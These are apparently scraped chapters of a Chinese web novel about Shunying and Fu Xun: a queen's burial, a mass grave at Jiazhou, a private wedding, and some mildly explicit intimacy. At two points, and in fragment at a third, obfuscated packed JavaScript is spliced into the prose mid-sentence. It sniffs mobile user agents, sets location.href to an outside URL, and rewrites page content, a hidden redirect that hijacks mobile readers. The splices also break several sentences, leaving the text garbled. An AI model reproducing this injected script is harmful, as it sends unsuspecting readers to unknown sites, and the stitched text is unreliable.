“五姐姐说往后的路要你自己选,阿姊,眼下这境况又开始严峻,跟我回阊江吧”,元旭觑着她脸色,诚恳中带一丝尴尬,“我也想过把苻洵一并拐回去,可他是荣国宗室,骨子里又那么傲,我带不走……” 舜英拿过信,展开后看了片刻,舒眉微笑:“多谢。” “就这么定了,我让奚寒先去安排食宿,再过几天苻洵就从宫中守灵回来了”,元旭长舒一口气,眉眼漾起笑意,“撇开立场不谈,他人还蛮不错,不着急,好好道个别。” “就你心肠软,到处当冤大头”,舜英不禁莞尔,漫不经心笑吟吟地问,“母后近来身体如何,可还康健?” 元旭目光闪了闪,笑容凝固了一瞬,若无其事道:“还蛮好。” 舜英点点头:“快入秋了,天一冷她头风容易犯,你坐这儿稍等片刻。”站起身,顺着幽暗狭窄的楼梯,慢慢向楼下走去。 元旭目送她背影,轻轻叹了口气。 这是位于洛川别苑对门的一间医馆,坐堂大夫是个白胡子老头,排队看诊的病人络绎不绝,都叫他“颜先生”。 国丧期间,群玉街全部关门闭户打了烊,元旭先是找到守灵的苻洵,央求传个话。岂料苻洵懒得当传话筒,直接派了个护卫替他奔走、让他们自己约时间地点。 那个叫郎琊的护卫跑了两趟,传来的回话准确而条理分明,舜英说眼下两国形势复杂,他直接拜访洛川别苑不太好,又说自己跟颜先生出过几次义诊,交情不错。 元旭会意,趁人少的时候扮成病人,果然看到在后院摊晒药材的舜英。两人直接穿过后院、登堂入室进了颜先生住处,再顺木楼梯爬上黑漆漆的阁楼。 开窗才发现,这里早已被改造成一间茶室,狭小却干净舒适。 义诊、济慈街、保育院、义塾……元旭默默细数舜英的这些年,心绪复杂,正望着窗外出神,木楼梯嘎吱轻响,是舜英折返了。 她手里捧着一个木盒。 “这是今年开春时候,西羌一个小国进贡的药材,据说对医治头风有好处”,舜英将盒子推给元旭,“母后操持国事、抚养孙子女甚是不易,捎给她,就说是阿晴托你转交的。” 威远将军府设立十年,挨着荣国的西羌小国灭的灭、降的降,归附的藩国每年都会上贡不少奇珍。 “这……”元旭表情有些僵硬,带着错愕,过了片刻才恢复如常,“你何不自己带给她?” “你先回阊江,我自有安排”,舜英笑了笑,柔声嘱托道,“阿旭,当初养在母后膝下的几个孩子,也就你能在跟前尽尽孝,多费点心思。” 元旭目光扫过桌上的药材木盒,顿时气血上头、眼圈一红,欲言又止数次,艰涩地说:“不露面就不露面,这乌烟瘴气的朝堂不掺和也罢。你肯回来就好,偌大个滬南、有得是好地方安置你。” “阿姊会回来的吧?”他急切地确认,见她含笑点头,才松了一口气。 “说回来就一定回来”,舜英起身向外走去,走到楼梯口又转身,笑着向他挥了挥手,“阿旭,给五姐姐吊唁完就早些启程回去。” 元旭怔怔看她的身影没入黑暗,忽然起身疾步追去,失声呼喊:“你就算从未嫁给过四哥,也是我的阿姊。” 舜英本已走下楼梯,站在楼梯间门口,阳光扑面而来、身后是一片阴影。听见这句话,她身躯陡然一震,缓缓转过身,将阳光甩在身后,迎向茫茫黑暗。 元旭站在楼梯顶端、半明半暗,意识到刚才失态,低头干咳了两声,轻声说:“与阿姊一起长大的,不止四哥和五姐姐,还有……还有我。” 舜英抬头与元旭对视了一瞬,笑着扬了扬手里的信函:“知道了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苻洵沉默了半晌,满脸糟心:“阐儿不知怎么的,跟元旭看对眼了,放着好好的家不回,偏要留在清泉宫陪他被拘着……对了,我去接他时还闹着要拜师。” 舜英思索片刻,猛然想到什么,笑着说:“他对阿旭的崇拜,可不是一两天的事了。” 苻洵不服气地说:“那小子有什么好崇拜的?细胳膊细腿,刀都提不动。” “你就知道舞刀弄枪,阐儿可不一样”,舜英一边蘸药水轻轻替他擦拭着伤口,一边笑盈盈地说,“记得那年我作渝安郡安抚使,苏裳替我借来一套手书《赈济录》,阐儿当说了好久想结识写书的先生。” “那套书后来被哥哥安排人抄了上百份,指导战后抚恤”,苻洵讶然道,“那书是他写的?” 舜英笑着点点头:“郑娘娘说他文不成武不就,从小只对黄白之物感兴趣,好好一个王子弄得满身铜臭气……” “爱钱有什么不好?小到衣食住行、大到民生征战,哪样不需要钱?”苻洵不以为意地撇撇嘴,“我倒是觉得,他比那些清高文人更像名士。他就藩十几年,滬南四州十郡百姓老有所终,壮有所用,幼有所长,矜寡孤独废疾者皆有所养。” 听到这熟悉的语句,舜英上药的动作一顿:“阿洵,阐儿若要拜他为师,你怎么考量的?” 苻洵静了良久,轻声说:“阿忆和阐儿从小就主意大,如今既已有了追寻的方向,不如借机带他们认祖归宗,然后……滬南也挺好的,隔了偌大的长流川。” “知道了”,舜英扯了扯唇角挤出个微笑,“阿洵,你什么时候出发?我们一起北上。” 苻洵摇摇头:“还要等几天,将王后灵柩送到阳华山归葬。” 舜英一惊:“不是送到凤台郡苻氏王陵归葬?送去阳华山,是让她归葬元氏王陵,这岂不是废……” “若是将她送回元氏王陵,虽不合情理、却也算符合伦常”,苻洵苦笑着叹了口气,“可她不会被葬入任何王陵。” 172. 故地重游 荣国建宁十三年七月初一,建宁王苻沣昭告天下:将新丧的继后元晴归葬于阳华山辰陵。 辰陵,凰羽寺祭司、少祭司及内门弟子的陵园。 继后元晴,原凰羽寺少祭司,建宁七年冬昇阳城破后,自请被废逐门墙、嫁与建宁王为继妻。 继后在位五年半,为失守的翊东三十五城百姓谋求福祉,并在荣国境内组织修建数十条济慈街,开设保育院、康养院、义塾、义诊堂上千所,赡养收容战争孤儿与孤老,最大程度地减轻战争对两国普通百姓的伤害。 苻洵沉声道:“归葬阳华山祇陵是王后自己的临终心愿,她说自己身为翊国公主、生前委身敌国君主,死后不愿留在苻氏陵园,也不愿面对元氏祖宗,唯求回归阳华山祇陵、以凰羽寺外门弟子的身份入葬。” 祇陵,凰羽寺普通外门弟子的陵园。 “陛下向大祭司去信,恳求成全亡妻遗愿”,苻洵神色凝重,缓了缓轻声说,“大祭司次日回信,复王后少祭司之位,葬于辰陵。” 舜英含泪笑了:“自弃于家国、自绝于先祖,她这个人啊……” 苻洵默了许久,幽幽道:“两国的王陵全都配不上她。” “阿洵,你身为苻氏宗亲,需要为她扶灵么?” “王后遗嘱,免于国丧重仪,随便雇几个人将棺椁送到山下即可,越简单越好”,苻洵苦笑着摇摇头,“我想送她一程,可我无颜面对她。她这一生才是真的纯澈至善,而我杀孽太重……” 舜英沉默了,一言不发地示意苻洵在床上趴好,移过琉璃灯,蜡烛的光明晃晃的,她用棉布蘸了烈酒,一点点替他清洗伤口上混了汗水的药膏药粉。 昇阳守卫战,翊军折损近十万、荣军也折损近六万。若放在五年前,舜英仍会觉得荣军是嗜血的魔鬼、苻洵是杀人如麻的煞神,可她已在这片土地、以荣国子民的身份生活了整整五年。 她看到过被翊国骑兵杀成废墟的北三郡,看到过长流川浮浮沉沉、全军覆没的渝安水师,亲手擦拭过战争孤儿脸上的泪水,也因建业侯夫人的身份在金州狱受过酷刑。 而那场战争的来龙去脉,谁侵略、谁欺凌、谁护国、谁反击……没有人比她更清楚,南翊,不过是另一个幸运的、未被灭亡的滬国罢了。 她在两国都有了割不开的牵绊,无法再单一选择翊人立场。 她清洗旧药的动作十分轻柔,苻洵是被揍大的、十分耐疼,只感觉清凉的微微刺痛在背上挪移,酥酥麻麻的十分惬意,不禁闭上眼睛、就这样睡了过去。不知过了多久,感觉她在抹新的药膏,手指微微有些发抖。 苻洵不敢抬眼看她,屋子里静得可怕,等到她即将抹完新的药膏,他轻声开口:“这一年多,洹哥在太尉的位置上做得很好,军政大事全权交托给他,很放心。” “听说安庆公本就很有才干,只不过之前被你遮挡了光芒”,舜英会心一笑,手指不再颤抖,“阿洵,我们一定能安然隐居。” 安庆公苻洹只比苻沣小四岁,聪慧早成、性情谦和、文武兼修,自小在宗室享有美名,二十多岁朝野上下就称道他有宰辅之才,与苻沣关系也不错。如果说苻洵与苻沣情同父子,苻洹与苻沣则是脾性相投、纯粹的好兄弟。 至于为什么不显眼,因为苻洹发展得太过均衡。结果就是文不及景樊,武稍逊苻洵。 建宁九年七月,苻洵被罢官外放,临行之前举荐的太尉人员便是苻洹。但直到去年五月,苻洵自请镇守威远将军府,条件是永不参与对翊作战,苻洹才踏踏实实接下了太尉之职。 . 舜英替他上好药膏,起身去竖柜找出一件宽大透气的干净中衣,轻轻盖在他背上:“大热天的伤口不要捂着,你这两天要是不出门,不如就这样趴着等伤口结痂。” “哪儿那么娇贵,以前比这重的伤多得是”,苻洵正夸夸其谈,却见她洗了手、在自己身边侧躺下来,赶紧乖巧地笑着挨近她,偏过头看了片刻,又凑过去蹭了蹭额头,“姐姐觉得有必要静养,就应该静养,两天哪儿够……” 舜英忍俊不禁,伸手捏捏他的耳朵,漫声说:“果然上行下效,建宁王是实干之人,他在位选贤擢才、吏治清明,大部分官位都是能者居之。” “姐姐不必忧心,冯太后比哥哥还厉害,听他们说幼主也很早慧”,苻洵温声宽慰,默了半晌又说,“其实我也在担心此事,这段时间留在奉宁,正是为了劝谏哥哥易储。” 元晴所出的嫡子苻稷已经五岁半,三岁就启蒙了,已初见天资颖悟、性情坚毅,不止苻沣这个亲爹喜欢,宫学里的教习都纷纷称道。货比货得扔,先前过继给苻沣的太子苻阙就不那么出色了。 事实上,自从苻稷出世,就有无数双眼睛盯着这俩孩子。挨到现在,论二人资质、大伙都有目共睹无可争议,唯一的争议是出身血统,这事也已经吵了一年多。 有人说,苻稷虽是中宫嫡出,但生母是南翊公主,恐其偏向南翊;而苻阙虽是过继而来,父母却都是明明白白的荣国人,正统的苻氏血脉。 有人说,继后在位多年,端娴慧至、内持中馈,抚恤遗孤、安定民心,是一位极贤明的国母,又类比冯太后——那位出身北宛却极力维护南翊利益、无可挑剔的摄政太后。 “荣国不如翊国包容开明,对血统纯正还是很看重的”,苻洵颇为头痛地扶额,“早知今日骑虎难下,当初打死都不把阿阙过继给哥哥,让他另外在宗室挑一个。” 舜英轻叹:“那几年建宁王刚即位,身边没几个完全放心的人,当然首选你的孩子。阿阙又是他亲手养大的,再喜欢五殿下,手心手背都是肉。” “非要说血统的话,阿阙才是地地道道的南翊人。我倒不怎么在意血统,可他的资质实在平庸”,苻洵想了半晌,脸上显出恻隐,“实在不行,只能把这他的真实出身抖给哥哥了,趁他还未成势、找个体面的理由废了,还能有个闲散爵位混吃等死。” 舜英歪了歪头,目不转睛盯着他:“我记得当年你在维阳那会儿,韦娘子确实有孕,她来洛川别苑好多年了吧……你可别说阿阙也不是你的——” “真不是”,苻洵一个头两个大,痛苦地扶额,“她那个肚子是塞的棉团,孩子是在维阳抱的,不然怎么非跑外面去生……阿阙是楼里姑娘跟一个乐师生的,维阳那地方弃婴很多。” 舜英神色有些迷惑,却只一言不发等着下文。 “你看那他那脑子,哪里像是我生出来的?”苻洵笑得越发乖巧,又叹了口气,“天分这东西有时候真要看亲爹娘。” 他忽然满怀期冀地看向舜英,思索片刻苦笑着摇摇头,轻声自语:“还是算了吧。” “什么算了?”舜英浑然未觉,略带讶异地问,“阿阙不是战争遗孤?那你当初抱他回来作甚?” “还不是因为哥哥在龙门行宫看见你……”他的话卡住了,轻咳两声脸有些烫,“怪我当年太招摇,闹得没法收拾、险些葬送韦娘子性命。” 他这话说得半遮半掩,舜英却已然懂了,托腮似笑非笑注视着他:“阿洵,你这突然正经起来,我还怪不习惯的。” “原来姐姐喜欢不正经的”,苻洵笑盈盈舒臂揽住她的腰,贴着她翻身压倒、顺势亲了亲她嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870717|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇,“还要不要更不正经?” 他上半身滚烫,刚涂好的药膏蹭到她衣上,辛凉的甘苦直冲鼻腔,带着灼热的呼吸喷上她脸颊和脖子。她看着那张笑吟吟的脸,愣怔了片刻,眼眶有些发热,挑眉一笑:“郎君请自便。” 果然,苻洵放开她,身子往里挪了挪,拧起苦瓜脸哀叹:“不行,还在国丧期呢。” 他想了想,又欲盖弥彰、一脸正经补充说:“虽然王后临终遗愿是一切从简,不守国丧、不禁嫁娶,哥哥也照此下旨了,但是该注意还是得……” 舜英一眨不眨望着他,没有说话。他摸了摸鼻子,声音也越来越低。 两人面对面侧躺着,身体紧贴着相拥,对视了许久都没有说话。 一直到子时的打更声从街面遥遥传来,舜英眼神寥远看向窗外,许久之后深吸一口气、下定决心,轻轻拨弄他额间散落的乱发:“阿洵,我明天要南下去一趟嘉州。” 苻洵笑了:“那我陪你去。” . 嘉州三江村,黄昏。 依然是炊烟袅袅,鸡犬相闻,农人们在田间忙着收割稻谷。 舜英走到村东头,只有那丛翠竹蓬勃旺盛,何老头家的屋子已坍得只剩一间堂屋,土墙四面漏风,屋顶瓦片破碎长满杂草。她从长满霉斑黑黢黢的门槛跨进去,惊起梁上筑巢的几只野鸡,惊得一只野兔从墙洞里狂奔而出。 堂屋中央停放着两口杉木厚棺,风吹雨淋已朽烂不堪,深黑的漆面剥脱、木材被虫蛀空,轻轻一碰、粉末就簌簌往下掉。 舜英走出堂屋,踩过院里丛生的杂草,走向屋后柏树林中的累累坟冢,摸过一块块墓碑,轻声念着名字、念到最后轻声说:“果然没有啊。” 何老头家的麦田长满比人高的玉米,舜英走到地垄上,递给坐在那擦汗歇息的憨直中年人一壶水:“这一户老人什么时候过世的?” 中年人:“你们是……” 舜英:“我们十二年前逃难到这儿,被他们家收留,现在做生意有了些钱,回来谢一谢当年救命之恩。” 中年人上下打量他们一番:“想起来了,那段时间他们去镇上打了两口好棺材,说是遇到贵人,让他们死后也有好房子住。” 舜英急切地问:“怎么没用上?” 中年人叹了口气:“那段时间死的人太多了,活着的人躲在山里不敢出来,到处是没人收敛的尸首。好容易敢露头,又怕兵匪回来,只好匆匆挖了个大坑,把附近所有死人全部埋进去。呶——就那儿。”他指了指村子外一片空地。 舜英惊道:“哪段时间?” 中年人皱眉思索许久:“大概是六年前还是七年前,大伙正收着棉花呢,有很多大船从羌水上来,停在村子五里地外。他们说是什么‘翊国水师’打来了,没过两天,灵昌那边也来了许多咱们国家的兵,就在这一带作战……” 他再说什么,舜英已听不进去了,耳朵嗡嗡直响,向着村子外那片空地狂奔。苻洵忙塞给中年人几枚铜板,道了声谢飞快追过去。 那是一座被堆成缓坡的巨大土堆,土堆上的草木比别处长得茁壮许多,深青翠绿的柏树环围下,开满大片浓艳如血的深红,每朵花比巴掌还大,花瓣反卷如龙爪——彼岸花。 舜英在妖冶的奇红花丛中跪了下去,唇角微微上扬、挤出个比哭还难看的笑,轻飘飘地说:“原来,是我们啊。” 苻洵上前扶着她,一言不发揽住她颤抖的肩膀。 许久,她平静下来,侧过脸看着苻洵,一字一字轻声说。 “来嘉州之前,我跟自己打了个赌。” 173. [锁] [此章节已锁] 二人夜晚宿在嘉州的一家客栈里。 浴桶蒸腾着袅袅白汽,苻洵靠在桶壁上,闭目假寐,心口金光起起伏伏,已柔和黯淡许多。饶是如此,他指尖仍微微抖动。 热水活血,有助于金蝉活跃,加快毒素分解,对蛊主造成的疼痛也是平时上百倍。舜英默念着娜莎的话,用手撑住木桶边缘,埋头轻轻吻上他眼角。 闭目养神的人颤了颤,情难自抑地伸臂一捞、用力将她拽进巨大的浴桶。水花四溅,她栽进他怀中、跨坐在他膝上,二人的脸近在咫尺,隔着迷朦的水汽、静静四目相对。 苻洵眼睛雾蒙蒙的,眼神逐渐炽热,呼吸急促、微微喘息,与她对视许久才移开目光,声音沙哑而低沉:“你还是回去吧。” 舜英没有说话,双手捧住他的脸,轻轻吻了上去。 苻洵喉结不断上下滑动,迟疑片刻用力扣在她脑后,狠狠咬住她嘴唇,舌尖长驱直入、激烈吸吮着咬出的丝缕腥咸,攫取每一寸气息。她感觉自己不能呼吸了,胸腔和四肢齐齐涌出无与伦比的愉悦,将他抱得更紧,软软贴在他身上。 手情不自禁往下滑去的刹那,苻洵如梦初醒,用力推开她、闭上眼大口喘息。 “姐姐,回去吧。”呼吸平稳后,他认真地重复一遍恳求。 “来嘉州之前我跟自己打了个赌,现在结果已定,我留在这里不回阊江了”,舜英定定注视着他双眸,坦然地笑了笑,“阿洵,你以前从没那么多顾忌。” 苻洵唇角挂着笑,眼中隐隐有泪光:“因为我以前不知敬畏生死,直到眼睁睁看见你……姐姐,不要再让我经历一次那种痛苦。” “我向你发誓,我们都不会再经历那种痛苦”,她轻柔摩挲着他下颌,慢慢下移,从脖子、喉结划到锁骨,手指勾住他中衣领口继续往下,“阿洵,我现在很清醒,你不要怕,我们都不要怕。” . 许久之后,她精疲力竭躺在床上,苻洵专注地替她擦着湿发、再擦干自己的。然后,二人都换了身干爽的里衣,躺在床上相依相偎。 “姐姐,来嘉州之前,你跟自己的赌约是什么?” “若他们还活得好好的、或是寿终正寝,我就继续观望;若他们死于荣国主动发起的战争,我就回阊江”,舜英轻声说,唇角翘起一缕苦笑,“可他们死于由翊国发起的战争。” “十二年前从灵昌出逃时,我们一路找了许多户农家,都不敢收留,只有他们愿意让我住几晚、养养伤。原因说来可笑,他们的家人全都死绝了,已不再害怕失去什么。” 苻洵沉默许久,幽幽道:“两国对立太久,和了战、战了和,每一场战争起因,无非是君主的野心、将军的抱负。到最后,君主得到疆域和岁贡、将军得到功勋,他们得到亲人零碎的尸骨、甚至一个空荡荡的死讯。” 舜英望着帐顶出神:“他们原本是人口繁荣的大家,却眼睁睁看着自己的兄弟姐妹、儿子女儿、孙子外孙……一个又一个家人死在饥荒、大汛、战场,而他们被征兵的原因,要么是荣国想侵扰翊国、要么是翊国想吞并荣国。” 苻洵叹了口气:“四百多年前边垣之盟,荣太祖与翊景王的约定,是共同驱走异族后、苻氏归顺翊国。当时不知为何,两边并未兑现承诺。直到三百多年,翊桓王依靠兵强马壮荡平虞国和荣国,也并未提及那个约定。” “因为戎陵群山和摩云群山的天险,这两块土地管理起来极难”,舜英点点头,“翊国以仁化治国,对战败国的王室从不赶尽杀绝,所以没过多少年,荣国和虞国又纷纷自立。” “这一拉扯,战来战去,就是两三百年”,苻洵噙一缕嘲讽和无奈,漫不经心地说,“有时候太过仁厚也不是好事,拖得太久、拖得生灵涂炭。” 舜英眉宇间尽是浓郁的疲惫,泰然地笑了:“说句不当讲的话,我希望这是两国之间最后一次战争。” 她抬眸注视着苻洵双眼:“阿洵你听好了,从今往后,你所有的一切都与我有关。若苻氏果真国祚不继,以你之骨气、定会与兄长并肩战斗到最后一口气,不要撇开我,不要让我再经历一遍你经历过的痛苦。” “我可没什么骨气,能活着最好”,苻洵眼里神光一跳,却只侧头亲亲她脸颊,笑容狡黠而慵懒,“如果真到那天,咱们就躲进山里去,或是靠你的面子去你师父那打秋风,蹭一顿是一顿,好死不如赖活着。” 他惬意地伸了个懒腰,满脸乖巧蹭了蹭她肩膀:“我以后就安安心心吃软饭了,姐姐可要对我怜惜些,莫要始乱终弃。” 舜英噗呲一声被他逗笑,眼前浮现的却是十多年前,那个瞧着灵动澄澈、眼里却不时透出孤寒的乖戾少年,多看几眼,就能看到他精致漂亮的皮囊下、一把阴鸷破碎的桀骜骨。 他们都对彼此太了解,每说出一句话就只是真是假。 吃不吃软饭,其实也没那么重要。 . 他们不约而同地,都没有提另一种结果:南翊战败。 因为那几乎不可能。 六年前,舜英早已料到苻洵无论以何种形式攻入本土,兵力都不能大面积铺展,最好的策略便是困住洛京、商都甚至昇阳三城之一,围城打援。 所以她初初定下的应对之计是:若昇阳难保,则暂避其锋芒、翊东三十五城坚壁清野,骑兵北上拒伊河天险、以燕洺二州作为暂时粮仓;步兵南下、水师据守倚淮水天险,坐拥两座最大粮仓;镇南军嵌入群山腹地为前哨。 荣国并无多少余粮,这一战必定倾其所有,过后数年国库空虚。而南翊财帛丰厚兵源充足,用不了几年休养生息,届时南北合围、夺回失地的难度并不大。 毕竟,再是能征善战,打仗到后面拼的依然是国力。 然而人算不如天算,北宛突然发难、牵制住三郡二州的骑兵,边垣之盟又将荣国拉入抵御异族的战场,姜嫣与冯太后反目成仇更是始料未及。 于是,北翊、南翊、荣国这局势因为冯栩的搅动,北翊、荣国纷纷损兵折将、国库空虚,南翊只出了对于国库九牛一毛的财帛,未折损半员将士,成为这盘棋的最大赢家。 宛陵养马场欣欣向荣,阊江朝廷成立至今五年半,怕是早已选出将帅之才,只等荣国、北翊和北宛三败俱伤、再惨重一些,便尽数投入战场。 她绕了一大圈,只成全了留子去母坑害自己的冯太后,让冯太后兵不血刃、干干净净成为最大赢家。 舜英眼睛和鼻子酸涩发热,挤出个微笑,自嘲道:“这可真是……搬起石头砸自己的脚。”转念一想,南翊也是承祎的南翊,更是褚氏和元璟元旭的南翊,心里又舒坦许多。 苻洵泰然地扬唇一笑:“搬起石头砸自己的脚,谁又不是呢?” 每个精于谋算的人,都在平等地被自己的谋算反噬。 翊庄王为合作夺权,亲手将被苻治压制的苻沣苻洵兄弟扶起,成为自己心腹大患;而后又被自己推到北宛的棋子元昙谋弑。 苻洵为牵制翊国北疆,从乌兰沙海将天生不足的冯栩拉起精心培养,却培养出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874354|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弑兄篡位的北宛狼主,让故国和北翊同时陷入战火。 就连老谋深算如冯太后,送钱送粮培养北翊三郡二州坐大,姜嫣转瞬与之反目、宁愿战死北疆也不向其投诚;而崔氏蓄意保存实力,险些将昇阳冯氏排挤出朝堂,又何尝不是另一种反噬? 这世上,从来就没有什么算无遗策,唯一不变的是变数和失控。 . 苻洵见她神色怏怏,漫不经心笑了:“姐姐莫忧,权术争斗皆是如此,失控才是常态,咱们就兵来将挡、水来土掩。” “是啊,冯太后就十分惜命,好好留着性命、才能熬到下一次转机出现”,舜英一眨不眨注视他片刻,往他怀里钻了钻,“阿洵,你一定要珍惜性命,否则我追你到碧落黄……” 她没能说下去,炙热的吻堵住她双唇,迫使她将剩下话语咽回喉咙。随即,不安分的指尖轻轻在她下颌、脖子、锁骨滑移,那指尖像烙铁、划过时带起滚烫酥麻,触电般传遍全身。 “姐姐这么好,我哪舍得出岔子?”他轻笑一声,继续低头去吻她,“今晚,就让阿洵再提前练练怎么吃软饭?” 舜英凝神思索片刻,认真注视着他,一字字吐出酝酿许久的心愿:“阿洵,我们成婚吧。” 建宁王在位的十三余年,荣国商贸逐渐繁荣,各地宵禁极少,眼下已至戌正,各商铺小摊依然人来人往十分热闹。 他们牵手疾步走在街市上,去香烛铺买下最精致花哨的一对红烛,去布店买了半匹大红色绸缎,再去成衣铺买了大红喜袍、软纱襌衣,回去的路上又挑了一对红纱灯笼。 回到客栈换上喜袍,再裁下红绸系在腰带和发髻上。走到屋后的树林里,月明星稀,他们借着月光将红绸两端分别系在彼此手腕上。 先拜了拜星空朗月,又向北拜了拜活着和长眠的亲师和长辈,最后面对面躬身三拜。 “天地为证,我苻洵今夜与褚舜英结为夫妻,捧珠于掌,寝食相顾,倾心护佑,朝朝暮暮、终老一生。” “日月为鉴,我褚舜英今夜与苻洵结为夫妻,两情缱绻,相濡以沫,同进同退,白头与共、地老天荒。” 回到顶层套间时,小二已按他们叮嘱,在前厅挂好红绸和红花,还有匆匆摆上的金杯和酒壶、牛羊豕三牲祭肉。合卺而饮、同牢而食后,他们携手走进里屋。 这是只属于苻洵与褚舜英的婚仪,没有宾客、无关礼俗,只关乎真心。 红烛噼啪燃着晕黄暖光、灯笼透出酽酽轻红,照亮了新换上的深红纱帐和大红喜被。 她对镜上晚妆、巧呈窈窕姿,又闭上眼由他画额心花钿。他们隔红烛对视的刹那,彼此还是熟悉的那个心尖尖上的人,却又像什么都不一样了。 宗谱玉牒、十里红妆,都不及此刻坚定。 他们是真正的夫妻了。 苻洵开始亲吻她,酥酥麻麻的愉悦从胸腔、从小腹、从四肢百骸、从身体的每一寸肌肤涌起,她呼吸越来越乱,身子软绵绵倒下,躺在柔软的喜被上。 这一次,不为消解相思毒,只因相思深入骨。 他恶作剧地在她肌肤上吸出一个个红痕,麻痒带着轻微刺痛,她不禁轻哼连连,意乱情迷。 “春宵一刻值千金。”他笑盈盈看着她、笑得狡黠,在她耳后轻轻喘息。 他的桃花眼本就荡漾如春水,染上欲望更是好看得摄魂夺魄,她闭上双眼,思绪散漫开来,随波逐流、恣意放纵。 忘了即将燃起的战火,也忘了与她互相抛弃的故国。 174. 覆水难收 初秋的阳光透过窗棂,透过红色纱帐照在床上,日上三竿。 床榻很凌乱。 脚步声渐行渐近、停在门口,房门叩响三声,脚步声再度远去。 “想是店家来送饭食,不愿搅扰。”苻洵懒洋洋地披上外袍去开门取饭。 舜英撑开沉重的眼皮,下意识望向桌上,那对精雕细缕的花烛即将烧尽,只剩两小堆熔融红蜡,正中凹出两汪蜡油,两豆火苗仍倔强燃着。 微风拂过窗口那盆洁白茉莉,带来一阵淡甜的茶香,两枚淡如薄纱的焰苗齐齐熄灭。 她松了一口气,唇角不自觉上扬,蓦然理解了苻洵当年手执烛花剪、枯坐守护到天亮。 他们在客栈里又住了两夜,离开时是个秋高气爽的晴天,他们不约而同起了个大早,更衣梳妆好,一起去楼下吃早饭。 舜英慢吞吞喝着一碗馄饨,看他风卷残云地吞咽满桌热糕,又觉得腰开始酸疼、直不起来,手脚软得没多少力气。 她脸颊开始发烫,忙吩咐店家再热两碟羌煮羊肉和卤牛肉端来,看他狼吞虎咽对付新上的菜。又让店家装一些糕点,分开两份打包。 “马蹄糕、栗子酥、桂花糯米糕都是你喜欢吃的”,舜英给他盛了碗热粥,又帮他布菜,“也别只顾着赶路,路上有酒肆和驿站还是要下马好好吃饭。” 苻洵咽下一口菱粉粥:“你这次要去多久?” 她说:“大概得两个月。” “那我在奉宁办完事就先回北边”,苻洵面色如常点点头,“需要用船吗?” 舜英笑了笑:“先骑马去珪山,大渡口那边商船很多,不费事。” 苻洵吃饱喝足,笑盈盈托腮瞄着她:“那我等你回来再过生辰,你路上可得想好要送我什么。” 他们一直如此,无需多说,简简单单只言片语、一个动作就能知晓彼此用意。 他们回房收拾了行李,出客栈、在十字路口分道,苻洵把自己那匹速度更快的黑马换给她,自己乘着她那匹白马慢悠悠地向北城门踱去。 朝阳从东边弥散开几道金色的光线,一直延伸到他右边脸颊,反射出一层柔软的光晕。 舜英面带微笑看他走远,按了按塞在衣袍里的蝴蝶银锁,调转马头、迎着温暖的阳光走向东城门。 暂时告别眼前的倾盖如故,她要去永远了却那位白头如新的故人。 . 一个月后,西陵古国北顶山,舜英扶着昏昏沉沉的头,一脚虚一脚实地踩在陡峭山路上,像陷在棉花里。 脚底一滑,身子重重向下扑去,红色的身影轻盈一跃,不偏不倚扶住她。 “放这么多血,你疯了?”桑珠双手扶住她关切地问,甚至顾不上褡裢里红彤彤的琳琅果。 舜英却顾不上自己马上要摔倒,拢了拢果子,确保一枚都没掉落,才松了口气。她左右手腕上各有三道被刀割开不久的伤口,旧的已微微结痂、新的还在往下一滴一滴淌着血。 此外,还有三道陈旧的疤痕。 新伤旧伤交叠在皓白如玉的手腕上,衬得她纤细手腕像两截脆弱的琉璃。 桑珠寻了块石头,扶她坐下,牵过她的手抖落药粉在伤口上,然后用干净棉布帮她包扎。 “有吃的吗?”她有气无力地问,“饿晕了。” 桑珠忙掏出一块干硬的炊饼,又拔掉水壶的塞子,一并喂到她唇边。看她极力克制食欲,小口小口吃饼喝水,神色复杂地叹了口气:“我从来不知道琳琅果这样难取。” 舜英吃完了炊饼,桑珠忙摸出另一块递过去,舜英摇了摇手:“让我缓口气再说。” 桑珠一脸担忧,又继续替她包扎伤口,动作轻柔了许多:“你每年取果子,都要这样放一次血、再饿上几天?” 舜英看向褡裢,唇角翘了翘:“以后都不会了。” 鸡蛋大小的果子,珠圆玉润、红彤彤一片柔光,足足三十六枚。 “听老先生说,他还需要用琳琅果修复五年,我干脆多取六枚,应当是够了”,她一边往山下走,一边将褡裢递给桑珠,“他最近清醒的时候多了些没?” 桑珠诧异地问:“你不是一向不关注这些?” “我随口问问”,舜英淡淡笑了笑,“冯梨,咱们来往这么多次,好歹算是熟人,有件事想托你帮忙。” 桑珠黑葡萄似的瞳仁转了转:“虽然你挺仗义的,但是也得看什么事。” 舜英一见她这副神情就忍俊不禁,不疾不徐地说:“我恐怕等不到他记忆复苏的那天,等他哪天签下和离书,帮我送到阊江一个叫……” “什么叫等不到?”桑珠陡然意识到什么,睁大双眼,“你又想去哪儿送死?” “你还是好好学习中原话吧”,舜英咽了口唾沫,委婉地说,“我不送死,我要去跟你十五哥打仗。” 桑珠跺了跺脚着急地说:“我这句话没说错,这就是同一个意思,冯栩很危险、战场很危险,打败他很难,你不要去送死。” 